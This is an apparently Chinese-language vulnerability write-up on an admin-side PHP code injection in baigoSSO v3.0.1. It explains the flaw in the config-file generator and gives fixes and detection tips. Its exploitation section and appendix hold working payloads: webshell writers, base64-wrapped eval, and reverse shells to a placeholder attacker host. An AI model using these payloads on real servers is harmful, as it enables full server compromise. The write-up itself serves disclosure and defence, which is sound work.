某sso开源单点登录系统后台代码执行
字数 898 2025-08-29 08:32:02
某SSO开源单点登录系统后台代码执行漏洞分析报告
0x00 漏洞概述
受影响系统:baigoSSO v3.0.1
漏洞类型:后台代码注入导致远程代码执行
漏洞等级:高危
利用条件:需要后台管理员权限
影响范围:可导致服务器完全沦陷
0x01 漏洞复现步骤
1. 环境准备
- 下载受影响版本:https://github.com/baigoStudio/baigoSSO
- 安装并配置系统,获取后台管理员权限
2. 漏洞利用过程
- 登录系统后台
- 导航至:系统设置 → 基本设置 → 站点名称
- 修改站点名称为以下payload:
aaaaa');phpinfo();/*111111111 - 刷新页面,观察phpinfo()是否被执行
0x02 漏洞原理分析
关键函数分析
漏洞位于mdl_const函数中,该函数负责处理系统配置并生成配置文件:
function mdl_const($str_type) {
if (!fn_token('chk')) { //令牌验证
return array('rcode' => 'x030206');
}
$_str_content = '<?php' . PHP_EOL;
foreach ($this->arr_const[$str_type] as $_key=>$_value) {
if (is_numeric($_value)) {
$_str_content .= 'define(\'' . $_key . '\', ' . $_value . ');' . PHP_EOL;
} else {
// 漏洞点:未对用户输入进行过滤直接拼接
$_str_content .= 'define(\'' . $_key . '\', \'' . rtrim(str_ireplace(PHP_EOL, '|', $_value), '/\\') . '\');' . PHP_EOL;
}
}
if ($str_type == 'base') {
$_str_content .= 'define(\'BG_SITE_SSIN\', \'' . fn_rand(6) . '\');' . PHP_EOL;
}
$_str_content = str_ireplace('||', '', $_str_content);
$_num_size = $this->obj_file->file_put(BG_PATH_CONFIG . 'opt_' . $str_type . '.inc.php', $_str_content);
// ...后续代码...
}
文件写入过程
通过file_put函数(封装了file_put_contents)将配置写入文件:
function file_put($str_path, $str_content) {
$this->dir_mk($str_path);
$_num_size = file_put_contents($str_path, $str_content);
return $_num_size;
}
最终写入的文件路径为:BG_PATH_CONFIG/opt_base.inc.php
漏洞触发原理
- 用户输入被直接拼接到PHP配置文件中,未做任何过滤
- 通过闭合单引号和PHP语句结束符,可以注入任意PHP代码
- 配置文件被包含执行时,注入的代码会被执行
0x03 漏洞利用扩展
1. 直接获取WebShell
使用以下payload可写入webshell:
');file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');/*
2. 反弹Shell
');system('bash -c "bash -i >& /dev/tcp/attacker_ip/port 0>&1"');/*
3. 隐蔽利用
使用base64编码:
');eval(base64_decode('BASE64_PAYLOAD'));/*
0x04 修复建议
临时缓解措施
- 限制后台访问IP
- 修改配置文件权限为只读
永久修复方案
- 对用户输入进行严格过滤:
function safe_input($value) {
$value = str_replace(array("'", "\"", "\\", "<?", "?>"), "", $value);
return htmlspecialchars($value, ENT_QUOTES);
}
-
修改配置文件生成逻辑,使用序列化存储配置而非直接PHP代码
-
更新到最新版本(需确认官方是否已修复)
0x05 检测方法
- 检查
opt_base.inc.php文件中是否包含可疑代码 - 监控配置文件修改行为
- 使用Web应用防火墙规则检测配置修改请求中的可疑payload
0x06 参考链接
- 官方GitHub仓库:https://github.com/baigoStudio/baigoSSO
- 漏洞披露时间:2019-03-21
附录:完整攻击Payload示例
');$sock=fsockopen("attacker_ip",port);exec("/bin/sh -i <&3 >&3 2>&3");/*
');file_put_contents($_SERVER['DOCUMENT_ROOT'].'/shell.php','<?php @eval($_POST[pass]);?>');/*